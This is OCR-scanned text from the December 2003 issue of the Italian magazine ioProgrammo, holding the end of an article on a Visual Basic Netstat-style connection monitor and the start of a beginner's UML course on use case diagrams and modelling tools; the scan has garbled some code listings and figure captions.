bili sono: 

CLOSE_WAIT 

CLOSED 

ESTABLISHED 

FIN_WAIT_1 

FIN_WAIT_2 

LAST_ACK 

LISTEN 

SYN_RECEIVED 

SYN_SEND 

TIMED_WAIT 

Una descrizione esaustiva su ciascuno di questi 
stati è reperibile nel documento RFC 793. 



IL PROGETTO IIU VB 
(STATISTICHE) 

Dopo questa brevissima, ma necessaria descri- 
zione delle funzioni utilizzate per le statistiche 
sui pacchetti e sull'uso del comando Netstat, pos- 
siamo passare a descrivere l'aspetto pratico di 
questo argomento. Come già detto all'inizio, il 
progetto realizzato in Visual Basic è suddiviso in 
due parti. La prima si occupa di mostrare a video 
una serie di statistiche, suddivise per ogni tipolo- 
gia di pacchetto. La seconda, invece, mostra 
informazioni sulle connessioni TCP /IP ed UDP 
attive in maniera analoga a quanto ottenuto 




Fig. 1: L'interfaccia principale del programma. 



attraverso l'avvio del comando Netstat. In questo 
paragrafo analizzeremo i dettagli che riguardano 
solo la prima parte, lasciando al successivo para- 
grafo la descrizione delle funzionalità relative alle 
connessioni di rete. Il progetto VB è formato da 
una semplice form, frmNetStat e da un modulo, 
Declare, all'interno del quale sono contenute 
tutte le dichiarazioni e funzioni principali utili al 
programma. L'interfaccia principale della form è 
stata costruita per rispecchiare esattamente le 
strutture viste precedentemente, suddividendo, 
ovviamente, ogni gruppo d'informazioni statisti- 
che a secondo del pacchetto considerato. 
All'interno della form è stato inserito un control- 
lo di tipo Timer, utile al nostro scopo. Quando il 
programma è avviato, esso richiama, ad intervalli 
regolari, una funzione costruita ad hoc, Statisti- 
chePacchettiQ che, com'è facile intuire, si preoc- 
cupa di "riempire" ogni pannello presente nella 
parte superiore della form, con tutti i dati statisti- 
ci relativi ai pacchetti TCP IP UDP e ICMR La fun- 
zione considerata, in realtà, è molto semplice. 
Essa dichiara al suo interno quattro variabili, 
rispettivamente di tipo MIB_TCPSTATS, 
MIBJPSTATS, MIBJJDPSTATS e MIBICMPINFO 
che ci consentiranno di memorizzare i dati otte- 
nuti attraverso l'utilizzo delle funzioni preceden- 
temente descritte. Quando è richiamata, essa lan- 
cia in sequenza le quattro funzioni viste, valoriz- 
zando di conseguenza ognuna delle strutture in 
essa dichiarate. Successivamente, se il valore di 
ritorno di ciascuna è diverso da zero, mostrerà a 
video i risultati ottenuti. Perché ciò fosse possibi- 
le, sono stati inseriti, all'interno della form princi- 
pale, diversi array di label, ognuno dei quali cor- 
risponde ad un particolare item di ciascuna strut- 
tura. Tutto questo "meccanismo" è piuttosto sem- 
plice da comprendere e non esistono particolari 
dettagli o accorgimenti da tener presenti. Ben più 
complessa, invece, è la visualizzazione delle con- 
nessioni TCP/IP ed UDP correnti. 



IL PROGETTO IN VB 
(GRAPHIC METSTAT) 

Abbiamo visto che il comando Netstat consente 
di ottenere un elenco delle connessioni attive sul 
nostro PC, mostrando a video diverse informa- 
zioni come l'indirizzo IP del computer remoto, le 
porte utilizzate, lo stato della connessione, ecc. 
Per poter ottenere in Visual Basic lo stesso risulta- 
to, è stata predisposta, nella parte inferiore della 
form, una listview con le colonne relative a tutte 
queste informazioni. Inoltre, come avrete potuto 
notare, esistono due "checkbox grafiche" alla 
destra di questo controllo che consentono, 
rispettivamente, di risolvere l'indirizzo IP di un 



»> 80/ Dicembre 2003 



http://www.ioprogrammo.it 



NETWORKING ■ T SISTEMA 



PC in un nome host ed il numero di porta relativa 
alla connessione nel nome di servizio valido. 
Tanto per essere più chiari, è possibile ottenere il 
nome del PC remoto relativamente ad una certa 
connessione (ossia WebSrv anziché 10.0.0.1, ad 
esempio) ed HTTP anziché il numero 80. Queste 
due checkbox grafiche non sono altro che due 
bitmap che, ad ogni click del mouse, cambiano 
stato, abilitando o meno queste funzionalità. 
Immediatamente sotto questi due controlli, è 
stata inserita un'ulteriore bitmap contrassegnata 
con l'etichetta Avvia Netstat. La pressione del 
tasto sinistro del mouse su di essa avvia, dunque, 
tutta la parte di codice in grado di ottenere le 
informazioni che vogliamo. Nella prima parte 
sono dichiarate le variabili principali utili al pro- 
gramma. In particolare, in testa, troviamo le 
seguenti dichiarazioni: 



dwRemotePort As Long ' Numero porta remota 
End Type 



Dim 


pTcpTable 


As MIB_ 


TCPTABLE ' 


Puntatore 


alla 








struttura MIB_ 


JCPTABLE 


Dim 


pUdpTable 


As MIB 


JJDPTABLE 


v Puntatore 


alla 








strutture MIB_ 


UDPTABLE 



Le strutture MIB_TCPTABLE e MIBJJDPTABLE, 
molto simili tra loro, sono così dichiarate all'in- 
terno del modulo Declare: 



Typ< 


; MIB_ 


TCPTABLE 










dwN 


umEntries As Long 


1 Numero delle strutture 

MIBJTCPROW 




table 


(100) As MIB. 


JCPROW 


1 Array di strutture 

MIBJTCPROW 


End 


Type 











Type 


MIBJJDPTABLE 










dwNumEntries As Long 


1 Nu 


mero delle strutture 




table(100) As MIB_ 


JJDPROW 


1 Array di strutture 

MIBJJDPROW 


Enc 


Type 









Malgrado le due strutture precedenti possano 
sembrare molto simili tra loro, in realtà si diffe- 
renziano proprio per il tipo di sottostruttura che 
identifica il secondo item. Infatti, premesso che 
questa differenza è chiaramente dipendente dalla 
diversa tipologia del protocollo TCP rispetto 
all'UDP le due sottostrutture sono così dichiara- 
te: 



Type MIBJTCPROW 


dwState As Long 




' Stato della 


connessione 


dwLocalAddr As String 


* 4 


Indirizzo locale 


dwLocalPort As Long 


1 N 


umero porta 


locale 


dwRemoteAddr As Stri 


~\g * 


4 ' Indirizzo 


computer 

remoto 



Type MIBJJDPROW 


dwLocalAddr As String * 4 


v IP Address 


dwLocalPort As Long 


1 Numero di porta 


End Type 



Entrambe possiedono una sintassi molto simile: 

Declare Function GetTcpTable Lib "IPhlpAPI" (pTcpTable 
As MIBJTCPTABLE, pdwSize As Long, bOrder 
As Long) As Long 



Declare Function GetUdpTable Lib "IPhlpAPI" 

(pUdpTable As MIBJJDPTABLE, pdwSize As Long, 
bOrder As Long) As Long 

Il secondo parametro, pdwSize, rappresenta la di- 
mensione dell'intera struttura. In fase d'input, 
specifica la dimensione del buffer puntato da pT- 
cpTablelpUdpTable. In output, se la dimensione è 
insufficiente, la funzione imposta la variabile con 
il corretto valore. Questa considerazione, analoga 
ad alcune fatte anche la volta scorsa, spiega 
anche il perché la chiamata alla funzione consi- 
derata [GetTcpTableQ o GetUdpTableQ) sia effet- 
tuata due volte consecutive all'inizio del pro- 
gramma. L'ultimo parametro, infine, specifica se 
effettuare o meno l'ordinamento sui dati ritorna- 
ti dalla funzione. Il parametro bOrder può assu- 
mere valore True o False. Nel primo caso, il tipo di 
ordinamento varia a secondo della funzione che 
stiamo considerando. In definitiva, dunque, ecco 
i due tipi d'ordinamento effettuati: 

GetTcpTableQ 

Locai IP address 
Locai port 
Remote IP address 
Remote port 

GetUdpTableQ 

Locai IP address 
Locai port 

A questo punto, tutto quello che viene effettuato 
dopo, è chiamare le due funzioni precedenti, leg- 
gere i valori ritornati all'interno delle rispettive 
strutture e "riporli" all'interno delle label corri- 
spondenti presenti sulla form. Questo processo, 
apparentemente semplice, in realtà è stato leg- 
germente complicato, per consentire di risolvere, 
su richiesta, sia ITP address di un certo computer 
(sia quello locale che l'eventuale server remoto) 





GLOSSARIO 



MIB TCPTABLE 
E MIB UDPTABLE 

Le strutture MIB TCP- 
TABLE e MIBJJDPTA- 
BLE rappresentano il 
primo parametro delle 
funzioni della libreria 
IPHIpAPI.dll che ritor- 
nano le informazioni 
che vogliamo ossia 
GetTcpTable() e 
GetUdpTable(). 



http://www.ioprogrammo.it 



Dicembre 2003/81 ► 



SISTEMA T ■ NETWORKING 





Fig. 2: La funzionalità Netstat prima e dopo il proces- 
so di risoluzione. 

in hostname sia il nome di un dato servizio per 
cui esiste una connessione attiva. Le due funzio- 
ni costruite ad hoc che si preoccupano di effet- 
tuare queste conversioni, sono rispettivamente 
GetHostNameFromIPO e GetSrvByPortQ. La fun- 
zione GetHostNameFromIPO si occupa di risolve- 
re un indirizzo IP nel rispettivo hostname. Essa si 
serve sotanzialmente di una funzione, getho- 
stbyaddrQ, dichiarata nella maniera seguente: 

Public Declare Function gethostbyaddr Lib "wsock32" 
(haddr As Long, ByVal hnlen As Long, ByVal addrtype 

As Long) As Long 

Il primo parametro rappresenta l'indirizzo IP da 
risolvere, il secondo la lunghezza (espressa in 
byte) di questo indirizzo e l'ultimo il tipo di indi- 
rizzo. Nel nostro caso, esso vale sempre zero. 
Questa funzione, se chiamata in maniera "regola- 
re", ritorna un puntatore ad una struttura di tipo 
HOSTENT, così dichiarata: 



Type HOSTENT 


hName As Long 


' Nome host 


hAliases As Long 


1 Array di nomi alias per l'host 


hAddrType As Integer 


' Tipo di indirizzo da ritornare 


hLength As Integer ' 


Lunghezza i byte dell'indirizzo 


hAddrList As Long 


Array di indirizzi di rete 


End Type 



Che ci fornisce diverse informazioni utili, tra le 
quali proprio il nome host corrispondente. La 
funzione GetHostNameFromIPO ritorna dunque 
questo valore oppure semplicemente l'indirizzo 
IP passato in ingresso qualora non riuscisse a 
risolverlo in hostname. L'altra funzione, 
GetSrvByPortQ, invece, si occupa di risolvere un 
numero di porta nel corrispondente nome di ser- 
vizio. Per far questo, si serve di diverse funzioni, 
tra le quali, la principale, è getservbyportQ '. La sin- 
tassi di quest'ultima è la seguente: 

Public Declare Function getservbyport Lib "ws2_32.dll" 
(ByVal port As Integer, ByVal proto As Long) As Long 

Ovviamente, il primo parametro passato alla fun- 



zione identifica il numero di porta da "tradurre", 
mentre il secondo specifica il protocollo di riferi- 
mento. Se tutto va bene, la chiamata a getservby- 
portQ ritorna un puntatore ad una struttura di 
tipo SERVENT così dichiarata: 




Anche qui, analogamente alla struttura 
HOSTENT, possiamo rilevare diverse informazio- 
ni utili, tra le quali, ovviamente, il nome del servi- 
zio. Naturalmente, qualora non si riuscisse a 
risolvere il numero di porta in un nome di servi- 
zio valido, la funzione GetSrvByPortQ ritorna 
semplicemente parametro passato così com'era. 
Prima di concludere va solo specificato che, 
all'interno delle funzioni considerate, sono stati 
applicate diverse conversioni sui parametri pas- 
sati. Questo perché molte delle funzioni viste 
necessitano di parametri fatti in una certa manie- 
ra che, spesso, quindi, dovevano necessariamen- 
te essere "convertiti" nel giusto formato prima di 
essere utilizzati. Per il resto, il codice allegato è 
ben commentato e credo sia sufficiente a descri- 
vere l'intero progetto in VB. Ovviamente, è inutile 
dirlo, esso può essere migliorato. 



CONCLUSIONI 

Nel prossimo appuntamento avremo modo di 
vederne delle altre, altrettanto utili ed interessan- 
ti. Prima di lasciarvi, però, vorrei fare solo una 
considerazione importante. 
L'utility Netstat a corredo di Windows XP offre 
una importante caratteristica ossia consente di 
ottenere il PID del processo coinvolto in una 
determinata connessione. Questa feature, non 
implementata all'interno del programma realiz- 
zato, poteva essere inserita sfruttando un paio di 
funzioni particolari denominate rispettivamente 
AllocateAndGetTcpExTableFromStackQ e Allo- 
cateAndGetUdpExTableFromStackQ. Esse sono 
molto simili alle analoghe viste nell'articolo, 
GetTcpTableQ e GetUdpTableQ, nel senso che si 
appoggiano ad analoghe strutture, ma che, oltre 
ai parametri visti in precedenza, possiedono pro- 
prio l'item relativo al PID del processo coinvolto. 
Purtroppo, esse risultano identificate come 
undocumented e non esiste da nessuna parte 
una fonte precisa ed esaustiva sull'argomento. 

Francesco Lippo 



* 82/Dicembre 2003 



http://www.ioprogrammo.it 




Unified Modelling Language 



I 



T CORSO BASE 




La rappresentazione visuale delle informazioni 

UML e i casi d'uso 

Da questo numero ha inizio una serie di articoli che ha come obiettivo 
la semplificazione di tematiche complesse che tradizionalmente 
vengono descritte, da testi ed articoli, in modo accademico. 



Il processo di semplificazione non è da conside- 
rare come una modalità per trattare temi com- 
plessi in maniera superficiale, ma deve essere 
uno strumento per portare alla comprensione di 
tutti alcuni argomenti che spesso vengono accan- 
tonati e messi da parte solo perché ritenuti, a volte 
a torto, di difficile comprensione solo perché non 
si è ancora trovata una modalità semplice di 
affrontarli. 

Il primo argomento che tratteremo è UML, spesso 
ritenuto troppo ostico da affrontare anche perché 
incrociato con altre tematiche complesse come 
progettazione e ingegneria del software, ed in par- 
ticolare, in questo primo articolo, ci concentrere- 
mo sugli Use Case Diagram, una modalità semplice 
per descrivere un sistema o uno scenario. 
L'obiettivo che vogliamo raggiungere trattando 
UML in maniera semplice è anche fornire al lettore 
una guida pratica alla lettura per i diagrammi UML 
che troverete sempre più spesso nelle pagine si 
ioProgrammo, e che saranno utilizzati per descri- 
vere le applicazioni ed i progetti che forniscono 
spunti pratici agli articoli. UML rappresenta una 
tematica che, se affrontata nel modo giusto, può 
offrire grandi spunti per aumentare la qualità delle 
nostre realizzazioni, senza perdersi in tecnicismi e 
trattazioni accademiche spesso fini a se stesse. 



I PROCESSI 
DI SVILUPPO 

La produzione di software di qualità è solitamente 
caratterizzata dalla presenza di un processo di svi- 
luppo che ha l'obiettivo di garantire un'accurata 
analisi dei requisiti per realizzare, in tempi e costi 
ragionevoli e misurati, un software che sia il più 
possibile aderente alle specifiche funzionali, archi- 
tetturali e contestuali del cliente. Il processo di svi- 
luppo quindi, qualunque esso sia e qualunque filo- 
sofia segua, ha la responsabilità di stabilire le linee 
guida e le modalità operative per ciascuna delle sin- 
gole attività che compongono lo studio e la realiz- 
zazione del software. Esistono diverse scuole di 



pensiero riguardo i processi di sviluppo e spesso la 
prima difficile scelta che si è obbligati a compiere e 
su quale di questi adottare. In questo contesto è 
bene tener presente che non esistono a priori pro- 
cessi di sviluppo perfetti né processi assolutamente 
inconsistenti e fallimentari, ma poiché ciascuno di 
questi è caratterizzato da pregi e difetti, è necessa- 
rio spendere sempre un po' di tempo per verificare 
quale processo, tra quelli esistenti, sia il più adatto 
al contesto realizzativo, cioè alla tipologia di softwa- 
re da realizzare, alla composizione e distribuzione 
per competenza del gruppo di lavoro, alle specifi- 
cità del cliente, ai vincoli sui tempi e sui costi di rea- 
lizzazione. 

Ciascun processo, in ogni caso, fornisce gli strumen- 
ti per guidare l'intera realizzazione dallo studio di 
fattibilità fino alla consegna del software al cliente. 
Alcuni processi di sviluppo storici sono: i processi 
Waterfall (a cascata), i processi basati sulla prototi- 
pizzazione, i processi incrementali, i processi a spi- 
rale, l'extreme programming ed il RUP (Rational 
Unified Process). 



LE FASI 

DEL PROCESSO 

DI SVILUPPO 

In qualunque processo di sviluppo è possibile ritro- 
vare componenti comuni che consentono di separa- 
re operazioni e ruoli, in particolare in ogni processo 
esistono fasi distinte che si possono schematizzare 
in questo modo: 

Analisi: spesso chiamata Inception, è composta 
dalla definizione e dalla specifica dei requisiti fun- 
zionali, dall'analisi dei limiti e della fattibilità tecni- 
ca. E' propedeutica a qualsiasi altra fase di processo; 
Disegno: anche detta Elaboration, è composta dal- 
l'approfondimento dei requisiti funzionali e dalla 
trasposizione di questi in una progettazione archi- 
tetturale e tecnica che fornisca le basi per lo svi- 
luppo; 
Realizzazione: anche detta Construction, la parte 




SCOPO 
DELL'ARTICOLO 

L'obiettivo che 
vogliamo raggiungere 
trattando UML in 
maniera semplice è 
anche fornire al lettore 
una guida pratica alla 
lettura per i diagrammi 
UML che troverete 
sempre più spesso 
nelle pagine di 
ioProgrammo, e che 
saranno utilizzati per 
descrivere le 
applicazioni ed i 
progetti che forniscono 
spunti pratici agli 
articoli. 




CORSO BASE T 



I 



Unified Modelling Language 





I DIAGRAMMI 
UML 

UML si compone di una 
serie di diagrammi che 
permettono di definire 

e progettare un siste- 
ma nella sua interezza. 

I diagrammi a disposi- 
zione sono: 



centrale del processo che costituisce la produzione 
incrementale del sistema che, al termine della fase, 
deve essere completamente testato ed eventual- 
mente integrato gli altri sistemi; 
Completamento: anche chiamata Transition, elimi- 
nazione delle ultime imperfezioni e produzione 
della release che può essere rilasciata al cliente. 

Come si vede, in un processo di sviluppo costituito 
da queste fasi, sono presenti tutte le componenti 
necessarie alla realizzazione di un sistema software, 
resta da individuare una modalità per modellare 
tutte le informazioni che vengono prodotte dalla 
varie fasi. Cosa si può usare, per esempio, per 
modellare in maniera chiara, semplice e precisa i 
requisiti dell'utente, le specifiche architetturali, la 
progettazione tecnica? Negli anni si è passati da rap- 
presentazioni totalmente testuali, in cui tutte le 
informazioni venivano descritte con le parole, a 
metodi grafici che permettessero di rappresentare in 
maniera visuale i concetti, le entità di dominio e le 
relazioni tra queste. Dal raffinamento delle varie 
metodologie e dall'unione di metodi esistenti, in 
particolare di: 



I DIAGRAMMI UML 

UML, come abbiamo detto, è un linguaggio di rap- 
presentazione visuale, di conseguenza è composto 
da una serie di diagrammi che consentono di 
visualizzare tutte le componenti del sistema che 
vogliamo descrivere e progettare. I diagrammi si 
dividono in due famiglie: l'area strutturale e l'area 
dinamica. La prima descrive le entità del sistema e 
le relazioni che intercorrono fra queste, la seconda 
descrive il comportamento del sistema nel tempo. 
All'area strutturale appartengono i seguenti dia- 
grammi: 

• Diagramma dei casi d'uso 

• Diagramma delle classi 

• Diagramma dei componenti 

• Diagramma di distribuzione 

All'area dinamica invece appartengono i seguenti: 

• Diagramma a stati finiti 

• Diagramma delle attività 

• Diagramma di sequenza 

• Diagramma di collaborazione 



Use Case 

Class 

Component 

Deployment 

State Chart 

Activity 

Sequence 

Collaboration 



Actor 
Diagram 
Diagram 
Diagram 
Diagram 
Diagram 
Diagram 
Diagram 
Diagram 



Esistono poi diagram- 
mi fuori dallo standard 
UML che consentono di 
descrivere altri aspetti 
del sistema, come ad 
esempio: 

Entità Relationship 

Diagram per definire le 

entità del sistema e le 

relazioni tra esse 

Web Application 

Diagram per definire le 

architetture delle 

applicazioni web 



Object-Oriented Analysis and Design with Applications 

(OOADA) di Booch 

Object-Oriented Software Engineering (OOSE) di 

Jacobson 
Object Modelling Technique (OMT) di Rumbaugh 

ecco nascere il progetto di un linguaggio di modella- 
zione per la specifica, la visualizzazione, la produ- 
zione e la documentazione di sistemi generici che 
possa essere applicato indifferentemente a sistemi 
software, modelli economici, processi industriali. 
Ecco nascere quindi UML {Unified Modeling 
Language), un linguaggio composto da elementi di 
modellazione (rappresentanti la semantica ed i con- 
cetti fondamentali), elementi di notazione (che con- 
sentono di rappresentare graficamente gli elementi 
del modello) e da linee guida. 



cosa uml moni e 

(e moni PUÒ ESSERE) 

Secondo quanto è stato detto finora è chiaro che 
UML non è un linguaggio di programmazione, ma è 
un linguaggio di specifica che consente una rappre- 
sentazione visuale delle informazioni. 
Questa definizione può essere estesa sottolineando 
che UML non è direttamente correlato e non dipen- 
de da nessun linguaggio di programmazione, anche 
se si sposa meglio con linguaggi fortemente ad 
oggetti. 

Non esistono in UML (almeno nella versione attua- 
le) modelli per la definizione di interfacce. 



USE CASE DIAGRAM 

Il diagramma dei casi d'uso ha come obiettivo la 



System Boundary 



Fig. 1: Le componenti fondamentali di uno Use Case 
Diagram. 

descrizione di uno scenario concreto di operatività 
degli utilizzatori di un sistema. In esso vengono 
quindi descritte le modalità con le quali il sistema 
può essere utilizzato e quindi le funzionalità che il 
sistema mette a disposizione dei suoi utilizzatori. 
Le componenti fondamentali di uno Use Case 
Diagram sono quattro e sono tutte contenute nel 
diagramma di esempio di Fig. 1. Si tratta di: 

Attore: entità attiva (qualcuno o qualcosa) esterna al 
sistema che interagisce con i casi d'uso; 
Caso d'uso: un modello di comportamento suppor- 
tato dal sistema; 

Relazione: associazioni e legami tra attori e casi 
d'uso; 

Contesto: rappresenta un sottosistema composto 
da casi d'uso appartenenti ad una parte ben definita 
del sistema più generale. 



Unified Modelling Language 



T FOR DUMMIES 



Negozio Online 



Ordinare un prodotto 



Fig. 2: Use Case Diagram dello scenario descritto 

Supponiamo di voler descrivere un sistema che per- 
metta ad un cliente di effettuare un ordine (per il 
momento non ci interessano i dettagli), il diagram- 
ma che descrive questo scenario di operatività e visi- 
bile in Fig. 2. Le cose però non sono sempre così 
semplici, spesso ci si trova a gestire sistemi che con- 
sentono l'interazione di attori diversi che utilizzano 
numerose funzionalità del sistema, magari suddivi- 
se in sottosistemi omogenei e che magari hanno tra 
loro relazioni di parentela sofisticate, per descrivere 
sistemi di questo genere è necessario specializzare il 
concetto di relazione, e fare in modo che sia più 
descrittivo e faccia comprendere che tipo di relazio- 
ne intercorre tra attori o tra casi d'uso. 



TIPI DI RELAZIONI 

Le tipologie di relazione a disposizione negli Use 
Case Diagram sono le seguenti: 



Associazione: mette in comunicazione un attore 
con il caso d'uso con il quale interagisce; 
Estensione: una relazione di estensione dal caso 
d'uso A al caso d'uso B indica che il secondo può 
includere, in determinate condizioni, il comporta- 
mento del primo; 

Generalizzazione: è una relazione che intercorre tra 
un caso d'uso più generale ed uno più specifico che 
eredita dal primo alcune funzionalità e lo specializ- 
za aggiungendone delle altre; 
Inclusione: è una relazione che intercorre tra un 
caso d'uso di base ed uno più generale che ne con- 
tiene le funzionalità. 

Per tornare al nostro esempio si può supporre che, 
in linea generale, l'operazione "Acquistare un pro- 
dotto" 'implichi spesso la consultazione di un catalo- 
go, ecco quindi entrare in gioco la relazione di esten- 
sione tra i due use case, come illustrato in Fig. 3. 
In questo caso abbiamo l'operazione di consultazio- 
ne del catalogo che in certe condizioni può essere 
svolta in dipendenza dell'operazione di acquisto di 



Cromare or"; prodotto 



;o:r:\rrroro catalogo 



un prodotto. Nell'ottica di gestire un negozio in 
senso generale, è possibile che il nostro sistema 
possa accettare ordini attraverso la modalità on-line 
(cioè attraverso un canale indiretto) oppure in 
modalità off-line (cioè direttamente in negozio). In 
questo caso è ragionevole pensare che il sistema si 
comporti in maniera differente in un caso rispetto 
all'altro, pertanto è bene specializzare le operazioni 
attraverso la relazione di generalizzazione verso l'o- 
perazione più generale. 



OrCiilì-MS I.!"! pi0"J0;iO 



Ordinare un prodotto onlir 



Fig. 4: La relazione di generalizzazione. 

In Fig. 4 si può vedere come le due diverse operazio- 
ni di ordine on-line e off-line si possano generaliz- 
zare nell'unica operazione di ordinare un prodotto. 
In ogni caso, sia che si tratti di un ordine on-line che 
off-line, è necessario che l'esercente raccolga i dati 
del cliente, in un caso per le operazioni di spedizio- 
ne, nell'altro per l'eventuale richiesta di un acconto. 
Ecco quindi entrare in gioco la relazione di inclusio- 
ne che prevede che una certa operazione sia obbli- 
gatoriamente eseguita in corrispondenza di un'altra. 
Nel caso specifico, come si può vedere in Fig. 5, l'o- 
perazione di raccolta dati è inclusa (cioè deve essere 
eseguita in corrispondenza di) alle due operazioni di 
ordine. 



^Ordinare un prodotto orline 



Gì i,r:*(t '.:" ì:::":.: .b '::-. ■■rvp.-rXc. 



t- 



-X_ 



Raccogliere i dati del cliente Qa 



Fig. 5: La relazione di inclusione. 

Allo stesso modo, nel caso l'ordine venga fatto nella 
modalità on-line, sarà obbligatorio far intervenire un 
altro attore del sistema deputato alla gestione del 
pagamento on-line, ad esempio con una carta di cre- 



Gateway di 
pagamento 



1 



rtiir; ■ : : ine 



__Gestire il pagamento onlìne_ 




I 



BIBLIOGRAFIA 



Il testo che non può 
mancare nella 
biblioteca di chi scrive 
UML: 

• THE UNIFIED 
MODELING LANGUAGE 
USER GUIDE 

Booch, Jacobson, 
Rumbaugh 
(Addison Wesley) 
1999 

Altri testi interessanti 
sull'argomento: 

• OBJECT ORIENTED 
SOFTWARE 
CONSTRUCTION, 
SECOND EDITION 
Bertrand Meyer 
(Prentice Hall) 
1997 

• VISUAL MODELING 
WITH RATIONAL AND 
UML 

Terry Quatrani 
(Addison Wesley) 
1998 



Fig. 3: La relazione di estensione tra due use case. 



Fig. 6: Ancora una relazione di inclusione tra use 
case. 




CORSO BASE T 



I 



Unified Modelling Language 





UMLE 
LE AZIENDE 

Qui di seguito l'elenco 

dei contributor che 

hanno adottato come 

standard UML, i quali 

provvedono alla sua 

divulgazione e che 

hanno aderito e 

tuttora contribuiscono 

al suo sviluppo: 



Accenture 

Ericsson 

Hewlett-Packard 

l-Logix 

IBM 

ICON Computing 

Intellicorp 

ISE 

MCI Systemhouse 

Microsoft 

ObjectTime 

Oracle Platinum 

Technology 

Computer Associates 

PTech 

Rational Software 

Reich Technologies 

Softeam 

Sterling Software 

Taskon 

Texas Instruments 

Unisys 



dito. In questo caso è necessario creare un altro use 
case, cioè un'altra operazione, in relazione di inclu- 
sione con l'ordinazione on-line. Questa parte dello 
scenario è visibile in Fig. 6. Se mettiamo insieme 
tutte le componenti dello scenario che abbiamo 
disegnato otteniamo il diagramma di Fig. 7 che de- 
scrive tutto il nostro sistema. Come vediamo l'attore 
Cliente interagisce con il sistema Negozio per ordina- 
re un prodotto, il che implica la consultazione di un 
catalogo per la selezione del prodotto da ordinare. 
Nel caso in cui si tratti di un ordine on-line allora 
sarà necessario gestire il pagamento on-line attra- 
verso un altro attore, un sistema gateway esterno, 
nel caso in cui si tratti di un ordine in negozio sarà 
necessario gestire la ricezione dell'acconto ed a que- 
sto è deputato un nuovo attore, il sottosistema di 
gestione clienti. 




Fig. 7: Lo scenario completo di un possibile programma. 



UHI ALTRO ESEMPIO 

Supponiamo di dover gestire un sistema di prenota- 
zioni per le visite mediche in una clinica privata. Gli 
attori in gioco sono: il paziente, l'impiegato che 
effettua le prenotazioni, il medico e l'impiegato del- 
l'ufficio amministrazione. Le operazioni che il siste- 
ma deve gestire sono le seguenti: registrare un ap- 
puntamento, cancellarlo, verificare la storia clinica 
del paziente, richiedere la visita medica, il pagamen- 
to del conto e l'eventuale finanziamento. Il diagram- 
ma che rappresenta questo scenario è mostrato in 
Fig. 8. Come si può vedere il contesto generale è la 
clinica, nella quale l'attore Paziente interagisce con 
l'impiegato alle prenotazioni per prenotare un ap- 
puntamento e per cancellarlo. La prestazione, inve- 
ce, è il caso d'uso in cui c'è interazione tra il Pazien- 
te ed Medico. Infine il Paziente interagisce con Yim- 




Fig. 8: Un esempio completo di modellazione tramite 
Use Case Diagram. 



piegato amministrativo per poter pagare il conto 
della prestazione medica. Dal punto di vista dei casi 
d'uso si può vedere che il pagamento del conto, in 
certe condizioni, può implicare la gestione di un 
finanziamento, mentre la richiesta della prestazione 
e la prenotazione dell'appuntamento richiedono un 
confronto con la storia clinica del paziente. Ecco co- 
me si scrive e come si legge uno Use Case Diagram. 



STRUMENTI PER LA 
MODELLAZIONE UML 

Un tool di modellazione dedicato ad un linguaggio 
complesso e totalmente visuale come UML è, in 
generale, un prodotto complesso che deve permette 
all'utente non solo il disegno di un sistema, ma la 
sua progettazione, ricordiamo infatti che l'obiettivo 
di UML non è soltanto la rappresentazione di uno 
scenario, ma la sua definizione e la sua progettazio- 
ne. Non è sufficiente, quindi, un semplice tool di 
disegno, che già sarebbe comunque uno strumento 
sufficientemente complesso, ma è necessario che 
tool sia in grado di guidare l'analista ed il progettista 
nello studio del sistema da progettare con caratteri- 
stiche e facilities dedicate proprio alla progettazione 
ed al refactoring. 

Together ControlCenter 

Prodotto di TogetherSoft, azienda recentemente 
acquisita da Borland, è il tool con il quale sono stati 
disegnati i diagrammi di questo articolo. Si tratta di 
uno strumento completo che permette la definizio- 
ne di sistemi e scenari attraverso tutti i diagrammi 
previsti dallo standard UML 1.3 ed in aggiunta pro- 
pone una serie di altri diagrammi che, uniti a quelli 
standard, premettono una definizione completa dei 
sistemi. Together è anche un ambiente di sviluppo 
fava che consente di realizzare il codice contestual- 
mente alla definizione dei Class Diagram (di cui par- 
leremo nel prossimo articolo), cosa che può essere 
molto comodo nella progettazione di sistemi Object 
Oriented in cui è possibile progettare il sistema e 
ritrovarsi gratuitamente lo scheletro delle classi già 
pronto, con i riferimenti per la compilazione al 
posto giusto e che, a condizione di configurare cor- 
rettamente l'ambiente, compila il tutto rendendo 
l'applicazione già funzionante. Altre caratteristiche 
salienti del prodotto sono: 

• la possibilità di essere esteso con plugin, molti 
dei quali disponibili gratuitamente; 

• l'impossibilità di creare diagrammi fuori dallo 
standard UML, non è possibile ad esempio lega- 
re due attori attraverso una relazione di associa- 
zione; 

• la presenza di tool molto evoluti per la gestione 
analitica di audit e metriche sul codice sviluppato; 




Unified Modelling Language 



I 



T CORSO BASE 




• le ottime caratteristiche di debugging e di refac- 
toring evoluto; 

• la possibilità di riconoscimento di eventuali pat- 
tern utilizzati nella progettazione per la produ- 
zione di codice di qualità; 

• la produzione di reportistica di elevata qualità 
configurabile attraverso meccanismi di template. 

Una versione di valutazione di Together Control- 
Center è scaricabile dal sito TogetherSoft / Borland 
all'indirizzo http://www.togethersoft.com/. Dopo il 
download vi verrà inviata via email una licenza che 
vi consentirà di utilizzare il prodotto per un periodo 
limitato di tempo e di apprezzarne tutte le ottime 
caratteristiche. Uno screenshot del Together 
ControlCenter è visibile in Fig. 9. 



parte di importanti aziende e riviste specializzate. Si 
avvale della collaborazione di più di cento partner 
differenti che hanno contribuito a renderlo un otti- 
mo prodotto per l'analisi e la progettazione di siste- 
mi software Object Oriented. Uno screenshot di 
Rationl Rose è disponibile in Fig. 10. 

ArgoUML 

Si tratta del primo storico prodotto Open Source per 
la progettazione visuale UML realizzato presso 
l'Università della California, il cui scopo è fornire un 
valido supporto all'analisi e alla progettazione di 
sistemi software Object Oriented. È un progetto che 
coinvolge circa un centinaio di persone tra ricerca- 
tori e studenti. ArgoUML è conforme alle specifiche 
UML 1.3 ed è l'unico case tool (a parte Poseidon) che 
implementa il metamodello UML esattamente co- 
me è specificato. Uno screenshot di Argo UML è 
disponibile in Fig. 1 1 

w 




Fig. 9: L'ambiente di Together ControlCenter. 

Rational Rose 

Rational Rose è senza dubbio il CASE tool commer- 
ciale più popolare e più utilizzato. È prodotto dalla 
Rational Software Corporation, azienda leader nel 
settore; è basato esso stesso sul linguaggio UML, 
infatti in origine fu concepito dagli stessi autori di 
UML come il primo strumento per la modellazione 
visuale di diagrammi UML. Occorre però sottolinea- 
re che Rational Rose, al contrario di altri tool, non 
implementa il metamodello UML esattamente 
come è specificato, ma utilizza una propria rappre- 
